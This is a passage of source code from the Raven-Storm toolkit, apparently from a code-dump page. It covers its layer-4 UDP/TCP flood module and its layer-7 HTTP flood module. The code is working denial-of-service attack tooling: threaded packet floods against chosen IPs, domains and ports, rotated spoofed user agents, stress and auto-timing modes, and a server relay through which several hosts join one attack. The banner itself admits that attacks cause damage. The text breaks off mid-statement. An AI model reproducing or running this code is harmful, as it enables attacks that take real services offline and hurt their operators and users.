ones.") 89 | event.help_comment("|\n|-- Stress Testing:") 90 | event.help("stress", "Enable the Stress-testing mode.") 91 | event.help("st wait", "Set the time between each stress level.") 92 | event.help_comment("|\n|-- Multiple:") 93 | event.help("ips", "Set multple ips to target.") 94 | event.help("webs", "Set multple domains to target.") 95 | event.help("ports", "Attack multiple ports.") 96 | event.help_comment("|\n|-- Automation:") 97 | event.help("auto start", "Set the delay before the attack should start.") 98 | event.help("auto step", "Set the delay between the next thread to activate.") 99 | event.help("auto stop", "Set the delay after the attack should stop.") 100 | 101 | def banner(self): 102 | system("clear || cls") 103 | print(("""C_B----------------------------------------------------------C_W 104 | THE CREATOR DOES NOT TAKE ANY RESPONSIBILITY FOR DAMAGE CAUSED. 105 | THE USER ALONE IS RESPONSIBLE, BE IT: ABUSING RAVEN-STORM 106 | TO FIT ILLEGAL PURPOSES OR ACCIDENTAL DAMAGE CAUSED BY RAVEN-STORM. 107 | BY USING THIS SOFTWARE, YOU MUST AGREE TO TAKE FULL RESPONSIBILITY 108 | FOR ANY DAMAGE CAUSED BY RAVEN-STORM. 109 | EVERY ATTACK WILL CAUSE TEMPORARY DAMAGE, BUT LONG-TERM DAMAGE IS 110 | DEFFINITIFLY POSSIBLE. 111 | RAVEN-STORM SHOULD NOT SUGGEST PEOPLE TO PERFORM ILLEGAL ACTIVITIES. 112 | C_B----------------------------------------------------------C_W""").replace("C_W", var.C_None).replace("C_B", var.C_Bold)) 113 | self.help() 114 | 115 | def exit_console(self): 116 | print("Have a nice day.") 117 | quit() 118 | 119 | def run_shell(self, command): 120 | print("") 121 | system(tools.arg("Enter shell command: ", ". ", command)) 122 | print("") 123 | 124 | def debug(self, command): 125 | print("") 126 | eval(tools.arg("Enter debug command: ", "$ ", command)) 127 | print("") 128 | 129 | @event.command 130 | def clear(): 131 | system("clear || cls") 132 | 133 | @event.event 134 | def on_ready(): 135 | self.banner() 136 | 137 | @event.event 138 | def on_command_not_found(command): 139 | print("") 140 | print("The command you entered does not exist.") 141 | print("") 142 | 143 | def check_session(self): 144 | if var.session[1][0] and len(var.session[1][1]) >= 1: 145 | if len(var.session[1][1][0]) >= 1: 146 | run_following = [var.session[1][1][0][0], var.session[1][1][0][0]] 147 | var.session[1][1][0] = var.session[1][1][0][1:] 148 | else: 149 | var.session[1][1] = var.session[1][1][1:] 150 | run_following = [var.session[1][1][0][0], var.session[1][1][0][0]] 151 | var.session[1][1][0] = var.session[1][1][0][1:] 152 | var.run_command = run_following 153 | 154 | @event.event 155 | def on_input(): 156 | self.check_session() 157 | if var.server[0] and not var.server[1]: 158 | while True: 159 | data = requests.post((var.server[2] + ("get/com%s" % var.server[4])), data={"password": var.server[3]}).text 160 | if data != "500": 161 | var.server[4] = var.server[4] + 1 162 | var.run_command = [data, data] 163 | print(var.ps1 + "\r") 164 | break 165 | else: 166 | sleep(1) 167 | 168 | @event.event 169 | def on_interrupt(): 170 | print("") 171 | var.stop() 172 | 173 | @event.event 174 | def on_command(command): 175 | if var.session[0][0]: 176 | var.session[0][1].write(command + "\n") 177 | if var.server[0] and var.server[1]: 178 | status = requests.post((var.server[2] + "set/com"), data={"password": var.server[3], "data": command}).text 179 | if status != "200": 180 | print("") 181 | print("An error occured, while sending commands to the server.") 182 | print("") 183 | 184 | @event.command 185 | def debug(): 186 | var.l4_debug = True 187 | print("") 188 | print("Debugging mode enabled.") 189 | print("") 190 | 191 | def help(self): 192 | event.help_title("\x1b[1;39mUDP/TCP Flood Help:\x1b[0;39m") 193 | tools.help("| |-- ", " :: ", event) 194 | print("") 195 | 196 | @event.command 197 | def port(command): 198 | print("") 199 | try: 200 | var.port = [int(tools.arg("Port: ", "port ", command))] 201 | except Exception as e: 202 | print("There was an error while executing.", e) 203 | print("") 204 | 205 | @event.command 206 | def threads(command): 207 | print("") 208 | try: 209 | var.threads = int(tools.arg("Threads: ", "threads ", command)) 210 | except Exception as e: 211 | print("There was an error while executing.", e) 212 | print("") 213 | 214 | @event.command 215 | def ip(command): 216 | print("") 217 | var.ip = [tools.arg("Target: ", "ip ", command)] 218 | if "." not in var.ip[0]: 219 | print("This IP does not exist.") 220 | print("") 221 | 222 | @event.command 223 | def web(command): 224 | print(" ") 225 | try: 226 | webtoip = tools.arg("Website: ", "web ", command) 227 | webtoip = webtoip.replace("http://", "") 228 | webtoip = webtoip.replace("https://", "") 229 | webtoiptxt = str(socket.gethostbyname(webtoip)) 230 | var.ip = [webtoiptxt] 231 | except Exception as e: 232 | print("There was an error while executing.", e) 233 | print(" ") 234 | 235 | @event.command 236 | def method(command): 237 | print("") 238 | if var.socketmethod == "TCP": 239 | var.socketmethod = "UDP" 240 | print("Method changed to UDP.") 241 | else: 242 | var.socketmethod = "TCP" 243 | print("Method changed to TCP.") 244 | print("") 245 | 246 | @event.command 247 | def sleep(command): 248 | print("") 249 | try: 250 | var.sleep = int(tools.arg("Delay in seconds: ", "sleep ", command)) 251 | except Exception as e: 252 | print("There was an error while executing.", e) 253 | print("") 254 | 255 | @event.command 256 | def outtxt(command): 257 | print(" ") 258 | if var.outtxt: 259 | print("The output has been reduced.") 260 | var.outtxt = False 261 | else: 262 | print("The output has been set to normal.") 263 | var.outtxt = True 264 | print(" ") 265 | 266 | @event.command 267 | def mute(command): 268 | print(" ") 269 | if var.outtxtmute: 270 | print("The output has been disabled.") 271 | var.outtxtmute = False 272 | else: 273 | print("The output has been enabled.") 274 | var.outtxtmute = True 275 | print(" ") 276 | 277 | @event.command 278 | def message(command): 279 | print("") 280 | var.message = tools.arg("Message: ", "message ", command) 281 | var.rtxt = 1 282 | print("") 283 | 284 | @event.command 285 | def get(command): 286 | print("") 287 | var.get_url = tools.arg("GET Header: ", "get ", command) 288 | print("") 289 | 290 | @event.command 291 | def repeat(command): 292 | print(" ") 293 | try: 294 | rtxtzw = var.rtxt 295 | var.rtxt = int(tools.arg("Repeat message x times: ", "repeat ", command)) 296 | if var.rtxt < 1: 297 | print("There was an error while executing.") 298 | else: 299 | if rtxtzw < var.rtxt: 300 | var.messagezw = var.message 301 | var.message = (str(var.message) * int(var.rtxt)) 302 | else: 303 | var.message = (str(var.messagezw) * int(var.rtxt)) 304 | except Exception as e: 305 | print("There was an error while executing.", e) 306 | print(" ") 307 | 308 | @event.command 309 | def mb(command): 310 | print(" ") 311 | try: 312 | setmb = int(tools.arg("Size of Packet in MB: ", "mb ", command)) 313 | setmb = int(setmb / 0.000001) 314 | var.message = ("r" * setmb) 315 | var.rtxt = setmb 316 | var.messagezw = "r" 317 | except Exception as e: 318 | print("There was an error while executing.", e) 319 | print(" ") 320 | 321 | @event.command 322 | def stress(command): 323 | print(" ") 324 | if var.stress: 325 | print("The stress mode has been disabled.") 326 | var.stress = False 327 | else: 328 | print("The stress mode has been enabled.") 329 | var.stress = True 330 | print(" ") 331 | 332 | @event.command 333 | def st_wait(command): 334 | print("") 335 | try: 336 | var.timeforstress = int(tools.arg("Delay in seconds: ", "st wait ", command)) 337 | except Exception as e: 338 | print("There was an error while executing.", e) 339 | print("") 340 | 341 | @event.command 342 | def ips(command): 343 | print("") 344 | var.ip = tools.arg("Targets (Seperated by ', '): ", "ips ", command).split(", ") 345 | for ip in var.target: 346 | if "." not in ip: 347 | print("This IP does not exist.") 348 | print("") 349 | 350 | @event.command 351 | def ports(command): 352 | print("") 353 | try: 354 | var.port = tools.arg("Ports (Seperated by ', '): ", "ports ", command).split(", ") 355 | for port in var.port: 356 | if isinstance(port, int): 357 | print("Entered ports cannot be used.") 358 | except Exception as e: 359 | print("There was an error while executing.", e) 360 | print("") 361 | 362 | @event.command 363 | def webs(command): 364 | print(" ") 365 | try: 366 | webtoip = tools.arg("Websites (Seperated by ', '): ", "webs ", command).split(", ") 367 | for pos, web in enumerate(webtoip): 368 | webtoip[pos] = web.replace("http://", "") 369 | webtoip[pos] = webtoip[pos].replace("https://", "") 370 | webtoip[pos] = str(socket.gethostbyname(webtoip[pos])) 371 | var.ip = webtoip 372 | except Exception as e: 373 | print("There was an error while executing.", e) 374 | print(" ") 375 | 376 | @event.command 377 | def auto_step(command): 378 | print(" ") 379 | try: 380 | var.autostep = int(tools.arg("Delay for next thread to activate (in Seconds): ", "auto step ", command)) 381 | except Exception as e: 382 | print("There was an error while executing.", e) 383 | print(" ") 384 | 385 | @event.command 386 | def auto_start(command): 387 | print(" ") 388 | try: 389 | var.autostart = int(tools.arg("Delay for attack to start (in Seconds): ", "auto start ", command)) 390 | except Exception as e: 391 | print("There was an error while executing.", e) 392 | print(" ") 393 | 394 | @event.command 395 | def auto_stop(command): 396 | print(" ") 397 | try: 398 | var.autostop = int(tools.arg("Stop the attack after x seconds: ", "auto stop ", command)) 399 | except Exception as e: 400 | print("There was an error while executing.", e) 401 | print(" ") 402 | 403 | @event.command 404 | def agent(command): 405 | print(" ") 406 | var.user_agents = [tools.arg("Enter a user agent: ", "agent ", command)] 407 | print(" ") 408 | 409 | def show_values(self): 410 | print("") 411 | print("Ports: %s" % var.port) 412 | print("Threads: %s" % var.threads) 413 | print("Targets: %s" % var.ip) 414 | print("Method: %s" % var.socketmethod) 415 | print("Time between each packet: %s" % var.sleep) 416 | print("Output: %s" % var.outtxt) 417 | print("Muted: %s" % var.outtxtmute) 418 | print("Packet message: %s" % var.message[:15]) 419 | print("Repeat packet text: %s" % var.rtxt) 420 | print("Stress-Test mode: %s" % var.stress) 421 | print("Stress-Test level duration: %s" % var.timeforstress) 422 | print("Start Delay: %s" % var.autostart) 423 | print("Stop after x seconds: %s" % var.autostop) 424 | print("Time between threads: %s" % var.autostep) 425 | if len(var.user_agents) == 1: 426 | print("User Agent: %s" % var.user_agents[0]) 427 | if var.get_url != "": 428 | print("GET Header: %s" % var.get_url) 429 | print("") 430 | 431 | def stresstest(self): 432 | print(" ") 433 | print("Time between: %s" % str(var.timeforstress)) 434 | print("Using %s threads per round" % str(var.threads)) 435 | print("To stop the attack press: CTRL + C") 436 | print(" ") 437 | sleep(2) 438 | while True: 439 | for thread in range(var.threads): 440 | try: 441 | t = Thread(target=self.ddos) 442 | t.start() 443 | except Exception: 444 | print("\x1b[0;39mFailed to start a thread.") 445 | sleep(var.timeforstress) 446 | if var.stresserror: 447 | print(" ") 448 | print("Stopped at %s threads!" % (str(var.stresstestvar * var.threads))) 449 | print(" ") 450 | var.runactive = False 451 | quit() 452 | else: 453 | var.stresstestvar += 1 454 | 455 | def ddos(self): 456 | mesalready = False 457 | if var.get_url == "": 458 | var.get_url = var.ip 459 | packet = ("GET /%s HTTP/1.1\r\nHost: %s\r\n User-Agent: %s\r\nConnection: Keep-Alive\r\nAccept-Language: en-us\r\nAccept-Encoding: gzip, deflate\r\n%s\r\n\r\n" % (var.get_url, var.ip, choice(var.user_agents), var.message)).encode("utf-8") 460 | if not var.outtxtmute: 461 | print("Thread started!") 462 | if var.socketmethod == "UDP": 463 | mysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 464 | else: 465 | mysocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 466 | while var.runactive: 467 | for ipvalue in var.ip: 468 | for portvalue in var.port: 469 | try: 470 | if var.socketmethod == "TCP": 471 | mysocket.connect((ipvalue, portvalue)) 472 | else: 473 | try: 474 | mysocket.bind((ipvalue, portvalue)) 475 | except Exception: 476 | pass 477 | if var.socketmethod == "TCP": 478 | mysocket.send(packet) 479 | try: 480 | mysocket.sendto(packet, (ipvalue, portvalue)) 481 | except Exception: 482 | mysocket.send(packet) 483 | if var.outtxt: 484 | if not mesalready: 485 | mesalready = True 486 | print("\nSuccess for %s with port %s!" % (ipvalue, portvalue)) 487 | # sleep(sleepy) 488 | var.command_log.append("Sucessful execution.") 489 | except socket.error as ex: 490 | if not var.outtxtmute: 491 | mesalready = False 492 | print("\nTarget %s with port %s not accepting request!" % (ipvalue, portvalue)) 493 | var.command_log.append("ERROR: %s" % ex) 494 | if var.l4_debug: 495 | print("ERROR: %s" % ex) 496 | if var.stress: 497 | var.stresserror = True 498 | if var.socketmethod == "TCP": 499 | try: 500 | mysocket.close() 501 | except Exception: 502 | pass 503 | 504 | if int(var.autostop) != 0: 505 | autoendtime = time() 506 | autotimer = (int(autoendtime) - int(var.autostarttime)) 507 | if var.autostop <= autotimer: 508 | print("\x1b[0;39mAuto Stop") 509 | var.runactive = False 510 | quit() 511 | var.stoped_threads += 1 512 | 513 | @event.command 514 | def run(command): 515 | print("") 516 | if var.ip != "": 517 | def execute(): 518 | print("") 519 | print("To stop the attack press: ENTER or CRTL + C") 520 | sleep(3) 521 | sleep(var.autostart) 522 | if var.stress: 523 | if len(var.target) == 1 and len(var.port) == 1: 524 | self.stresstest() 525 | else: 526 | print("Do not use multiple targets/ports in the Stress-Testing mode.") 527 | else: # Normal Mode 528 | if var.autostop != 0: 529 | var.autostarttime = time() 530 | for thread in range(var.threads): 531 | try: 532 | t = Thread(target=self.ddos) 533 | sleep(var.autostep) 534 | t.start() 535 | except Exception: 536 | print("Could not start thread %s." % thread) 537 | 538 | def reset_attack(): 539 | print("Stopping threads...") 540 | var.runactive = False 541 | sleep(2) 542 | while True: 543 | if var.stoped_threads == var.threads: 544 | break 545 | else: 546 | sleep(1) 547 | 548 | if var.l4_debug: 549 | print("Saving debugging log...") 550 | output_to = path.join(getcwd(), "l4_debug_log.txt") 551 | 552 | write_method = "a" 553 | if path.isfile(output_to): 554 | write_method = "a" 555 | else: 556 | write_method = "w" 557 | 558 | output_file = open(output_to, write_method) 559 | if write_method == "a": 560 | output_file.write("------------- New Log -------------") 561 | output_file.write(str(name + "\n")) 562 | output_file.write(str(version + "\n")) 563 | output_file.write(str("\n".join(var.command_log))) 564 | output_file.close() 565 | print("Done.") 566 | quit() 567 | 568 | def check_stopped_execution(): 569 | while True: 570 | data = requests.post((var.server[2] + "get/agreed"), data={"password": var.server[3]}).text 571 | if data != "True": 572 | reset_attack() 573 | break 574 | else: 575 | sleep(1) 576 | try: 577 | if var.server[0] and var.server[0]: 578 | rec_t = Thread(target=check_stopped_execution) 579 | rec_t.start() 580 | input("\r") 581 | except KeyboardInterrupt: 582 | pass 583 | 584 | if var.server[0] and var.server[1]: 585 | status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "False"}).text 586 | if status != "200": 587 | print("An error occured, while sending data to the server.") 588 | 589 | reset_attack() 590 | 591 | if var.server[0] and not var.server[1]: 592 | while True: 593 | data = requests.post((var.server[2] + "get/agreed"), data={"password": var.server[3]}).text 594 | if data == "True": 595 | execute() 596 | break 597 | else: 598 | sleep(1) 599 | elif not tools.question("\nDo you agree to the terms of use?"): 600 | print("Agreement not accepted.") 601 | quit() 602 | else: 603 | if var.server[0] and var.server[1]: 604 | if tools.question("\nWould you like to use the host as part of the ddos?"): 605 | status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "True"}).text 606 | if status != "200": 607 | print("An error occured, while sending data to the server.") 608 | execute() 609 | else: 610 | status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "True"}).text 611 | if status != "200": 612 | print("An error occured, while sending data to the server.") 613 | try: 614 | print("[Press Enter to stop the attack.]") 615 | except KeyboardInterrupt: 616 | pass 617 | status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "False"}).text 618 | if status != "200": 619 | print("An error occured, while sending data to the server.") 620 | else: 621 | execute() 622 | else: 623 | print("No target has been defined.") 624 | print("") 625 | 626 | 627 | def setup(console): 628 | console.ps1 = "L4> " 629 | console.add(Main(console), event) 630 | -------------------------------------------------------------------------------- /Raven-Storm/modules/l7/main.py: -------------------------------------------------------------------------------- 1 | # 2020 2 | # The Raven-Storm Toolkit was programmed and developed by Taguar258. 3 | # The Raven-Storm Toolkit is published under the MIT Licence. 4 | # The Raven-Storm Toolkit is based on the CLIF-Framework. 5 | # The CLIF-Framework is programmed and developed by Taguar258. 6 | # The CLIF-Framework is published under the MIT Licence. 7 | 8 | import urllib.request 9 | from os import getcwd, name, path, system 10 | from random import choice, randint 11 | from sys import version 12 | from threading import Thread 13 | from time import sleep 14 | 15 | import requests 16 | from CLIF_Framework.framework import event # noqa: I900 17 | from CLIF_Framework.framework import tools # noqa: I900 18 | 19 | event = event() 20 | tools = tools() 21 | 22 | 23 | class Main: 24 | def __init__(selfie, console): # noqa: N805 25 | global self 26 | global var 27 | self = selfie 28 | var = console # noqa: VNE002 29 | 30 | self._add_commands() 31 | 32 | # Colors 33 | var.C_None = "\x1b[0;39m" 34 | var.C_Bold = "\x1b[1;39m" 35 | var.C_Green = "\x1b[32m" 36 | var.C_Violet = "\x1b[34m" 37 | var.C_Dark_Blue = "\x1b[35m" 38 | var.C_Red = "\x1b[31m" 39 | 40 | var.target = [""] 41 | var.threads = 400 42 | var.sleep = 0 43 | var.interval = 0 44 | var.run_active = True 45 | 46 | var.l7_debug = False 47 | var.stoped_threads = 0 48 | 49 | var.user_agents = ["Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)", "Mozilla/5.0 (Linux; U; Android 2.3; en-us) AppleWebKit/999+ (KHTML, like Gecko) Safari/999.9", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0", "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; pl-pl) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5", "Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0", "Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36", "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; nb-no) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148a Safari/6533.18.5", "Opera/9.80 (Windows NT 6.1; U; pl) Presto/2.7.62 Version/11.00", "Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246", "Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))", "Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.6.37 Version/11.00", "Opera/9.80 (Windows NT 6.1; U; ko) Presto/2.7.62 Version/11.00", "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0", "Mozilla/5.0 (Windows NT 6.1; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.01", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.90 Safari/537.36", "Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)", "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; fr-fr) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5", "Mozilla/5.0 (iPhone; U; ru; CPU iPhone OS 4_2_1 like Mac OS X; fr) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148a Safari/6533.18.5", "Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00", "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; en-gb) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5", "Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)", "Opera/9.80 (X11; Linux i686; U; it) Presto/2.7.62 Version/11.00", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0", "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:27.0) Gecko/20121011 Firefox/27.0", "Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", "Mozilla/1.22 (compatible; MSIE 10.0; Windows 3.1)", "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01", "Mozilla/5.0 (iPhone; U; fr; CPU iPhone OS 4_2_1 like Mac OS X; fr) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148a Safari/6533.18.5", "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; ru-ru) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5", "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_1 like Mac OS X; zh-tw) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8G4 Safari/6533.18.5"] 50 | 51 | def _add_commands(self): 52 | event.commands(self.exit_console, ["exit", "quit", "e", "q"]) 53 | event.commands(self.show_values, ["values", "ls"]) 54 | event.command(self.help) 55 | 56 | event.commands(self.run_shell, ".") 57 | event.commands(self.debug, "$") 58 | 59 | event.help(["values", "ls"], "Show all options.") 60 | 61 | event.help("target", "Set the target.") 62 | event.help("targets", "Set multiple targets.") 63 | event.help("threads", "Amount of threads to use.") 64 | event.help("sleep", "Delay between threads.") 65 | event.help("interval", "Delay between each packet send.") 66 | event.help("agent", "Define a user agent instead of a random ones.") 67 | event.help("run", "Run the stress test.") 68 | 69 | def banner(self): 70 | system("clear || cls") 71 | print(("""C_B----------------------------------------------------------C_W 72 | THE CREATOR DOES NOT TAKE ANY RESPONSIBILITY FOR DAMAGE CAUSED. 73 | THE USER ALONE IS RESPONSIBLE, BE IT: ABUSING RAVEN-STORM 74 | TO FIT ILLEGAL PURPOSES OR ACCIDENTAL DAMAGE CAUSED BY RAVEN-STORM. 75 | BY USING THIS SOFTWARE, YOU MUST AGREE TO TAKE FULL RESPONSIBILITY 76 | FOR ANY DAMAGE CAUSED BY RAVEN-STORM. 77 | EVERY ATTACK WILL CAUSE TEMPORARY DAMAGE, BUT LONG-TERM DAMAGE IS 78 | DEFFINITIFLY POSSIBLE. 79 | RAVEN-STORM SHOULD NOT SUGGEST PEOPLE TO PERFORM ILLEGAL ACTIVITIES. 80 | C_B----------------------------------------------------------C_W""").replace("C_W", var.C_None).replace("C_B", var.C_Bold)) 81 | self.help() 82 | 83 | def exit_console(self): 84 | print("Have a nice day.") 85 | quit() 86 | 87 | def run_shell(self, command): 88 | print("") 89 | system(tools.arg("Enter shell command: ", ". ", command)) 90 | print("") 91 | 92 | def check_session(self): 93 | if var.session[1][0] and len(var.session[1][1]) >= 1: 94 | if len(var.session[1][1][0]) >= 1: 95 | run_following = [var.session[1][1][0][0], var.session[1][1][0][0]] 96 | var.session[1][1][0] = var.session[1][1][0][1:] 97 | else: 98 | var.session[1][1] = var.session[1][1][1:] 99 | run_following = [var.session[1][1][0][0], var.session[1][1][0][0]] 100 | var.session[1][1][0] = var.session[1][1][0][1:] 101 | var.run_command = run_following 102 | 103 | @event.event 104 | def on_input(): 105 | self.check_session() 106 | if var.server[0] and not var.server[1]: 107 | while True: 108 | data = requests.post((var.server[2] + ("get/com%s" % var.server[4])), data={"password": var.server[3]}).text 109 | if data != "500": 110 | var.server[4] = var.server[4] + 1 111 | var.run_command = [data, data] 112 | print(var.ps1 + "\r") 113 | break 114 | else: 115 | sleep(1) 116 | 117 | def debug(self, command): 118 | print("") 119 | eval(tools.arg("Enter debug command: ", "$ ", command)) 120 | print("") 121 | 122 | @event.command 123 | def clear(): 124 | system("clear || cls") 125 | 126 | @event.event 127 | def on_ready(): 128 | self.banner() 129 | 130 | @event.command 131 | def debug(): 132 | var.l7_debug = True 133 | print("") 134 | print("Debugging mode enabled.") 135 | print("") 136 | 137 | @event.event 138 | def on_command_not_found(command): 139 | print("") 140 | print("The command you entered does not exist.") 141 | print("") 142 | 143 | @event.event 144 | def on_command(command): 145 | if var.session[0][0]: 146 | var.session[0][1].write(command + "\n") 147 | if var.server[0] and var.server[1]: 148 | status = requests.post((var.server[2] + "set/com"), data={"password": var.server[3], "data": command}).text 149 | if status != "200": 150 | print("") 151 | print("An error occured, while sending commands to the server.") 152 | print("") 153 | 154 | @event.event 155 | def on_interrupt(): 156 | print("") 157 | var.stop() 158 | 159 | def show_values(self): 160 | print("") 161 | print("Targets: %s" % var.target) 162 | print("Threads: %s" % var.threads) 163 | print("Delay between threads: %s" % var.sleep) 164 | print("Delay between packets: %s" % var.interval) 165 | if len(var.user_agents) == 1: 166 | print("User Agent: %s" % var.user_agents[0]) 167 | print("") 168 | 169 | def help(self): 170 | event.help_title("\x1b[1;39mL7 Help:\x1b[0;39m") 171 | tools.help("|-- ", " :: ", event) 172 | print("") 173 | 174 | @event.command 175 | def targets(command): 176 | print("") 177 | var.target = tools.arg("URLS (Seperated by ', '): ", "targets ", command).split(", ") 178 | for url in var.target: 179 | if "http" not in url: 180 | print("%s is a invalid URL." % url) 181 | print("") 182 | 183 | @event.command 184 | def target(command): 185 | print("") 186 | var.target = [tools.arg("URL (GET Parameters possible): ", "target ", command)] 187 | if "http" not in var.target[0]: 188 | print("This URL is invalid.") 189 | print("") 190 | 191 | @event.command 192 | def threads(command): 193 | print(" ") 194 | try: 195 | var.threads = int(tools.arg("Threads: ", "threads ", command)) 196 | except Exception as e: 197 | print("There was an error while executing.", e) 198 | print(" ") 199 | 200 | @event.command 201 | def sleep(command): 202 | print(" ") 203 | try: 204 | var.sleep = float(tools.arg("Delay between each thread: ", "sleep ", command)) 205 | except Exception as e: 206 | print("There was an error while executing.", e) 207 | print(" ") 208 | 209 | @event.command 210 | def interval(command): 211 | print(" ") 212 | try: 213 | var.interval = float(tools.arg("Delay between each packet: ", "interval ", command)) 214 | except Exception as e: 215 | print("There was an error while executing.", e) 216 | print(" ") 217 | 218 | @event.command 219 | def agent(command): 220 | print(" ") 221 | var.user_agents = [tools.arg("Enter a user agent: ", "agent ", command)] 222 | print(" ") 223 | 224 | def ddos(self): 225 | while var.run_active: 226 | for url in var.target: 227 | try: 228 | response = urllib.request.urlopen(urllib.request.Request(url, headers={'User-Agent': choice(var.user_agents), "Connection": "keep-alive", "Accept-Encoding": "gzip, deflate", "Keep-Alive": randint(110,120)}), timeout=999) # noqa 229 | var.command_log.append("Sucessful execution.") 230 | except Exception as ex: 231 | print("Request failed.") 232 | var.command_log.append("ERROR: %s" % ex) 233 | if var.l7_debug: 234 | print("ERROR: %s" % ex) 235 | print("Request received.") 236 | sleep(var.interval) 237 | var.stoped_threads += 1 238 | 239 | @event.command 240 | def run(): 241 | def execute(): 242 | print("") 243 | print("To stop the attack press: ENTER or CTRL + C") 244 | print("") 245 | 246 | var.ps1 = "" # Change due to threading bug. 247 | 248 | sleep(3) 249 | for thread in range(var.threads): 250 | try: 251 | t = Thread(target=self.ddos) 252 | t.start() 253 | sleep(var.sleep) 254 | except Exception: 255 | print("Could not start thread %s." % thread) 256 | 257 | def reset_attack(): 258 | print("Stopping threads...") 259 | var.run_active = False 260 | sleep(2) 261 | while True: 262 | if var.stoped_threads == var.threads: 263 | break 264 | else: 265 | sleep(1) 266 | 267 | if var.l7_debug: 268 | print("Saving debugging log...") 269 | output_to = path.join(getcwd(), "l7_debug_log.txt") 270 | 271 | write_method = "a" 272 | if path.isfile(output_to): 273 | write_method = "a" 274 | else: 275 | write_method = "w" 276 | 277 | output_file = open(output_to, write_method) 278 | if write_method == "a": 279 | output_file.write("------------- New Log -------------") 280 | output_file.write(str(name + "\n")) 281 | output_file.write(str(version + "\n")) 282 | output_file.write(str("\n".join(var.command_log))) 283 | output_file.close() 284 | print("Done.") 285 | quit() 286 | 287 | def check_stopped_execution(): 288 | while True: 289 | data = requests.post((var.server[2] + "get/agreed"), data={"password": var.server[3]}).text 290 | if data != "True": 291 | reset_attack() 292 | break 293 | else: 294 | sleep(1) 295 | try: 296 | if var.server[0] and var.server[0]: 297 | rec_t = Thread(target=check_stopped_execution) 298 | rec_t.start() 299 | input("\r") 300 | except KeyboardInterrupt: 301 | pass 302 | 303 | if var.server[0] and var.server[1]: 304 | status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "False"}).text 305 | if status != "200": 306 | print("An error occured, while sending data to the server.") 307 | 308 | reset_attack() 309 | 310 | if var.server[0] and not var.server[1]: 311 | while True: 312 | data = requests.post((var.server[2] + "get/agreed"), data={"password": var.server[3]}).text 313 | if data == "True": 314 | execute() 315 | break 316 | else: 317 | sleep(1) 318 | elif not tools.question("\nDo you agree to the terms of use?"): 319 | print("Agreement not accepted.") 320 | quit() 321 | else: 322 | if var.server[0] and var.server[1]: 323 | if tools.question("\nWould you like to use the host as part of the ddos?"): 324 | status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "True"}).text 325 | if status != "200": 326 | print("An error occured, while sending data to the server.") 327 | execute() 328 | else: 329 | status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "True"}).text 330 | if status != "200": 331 | print("An error 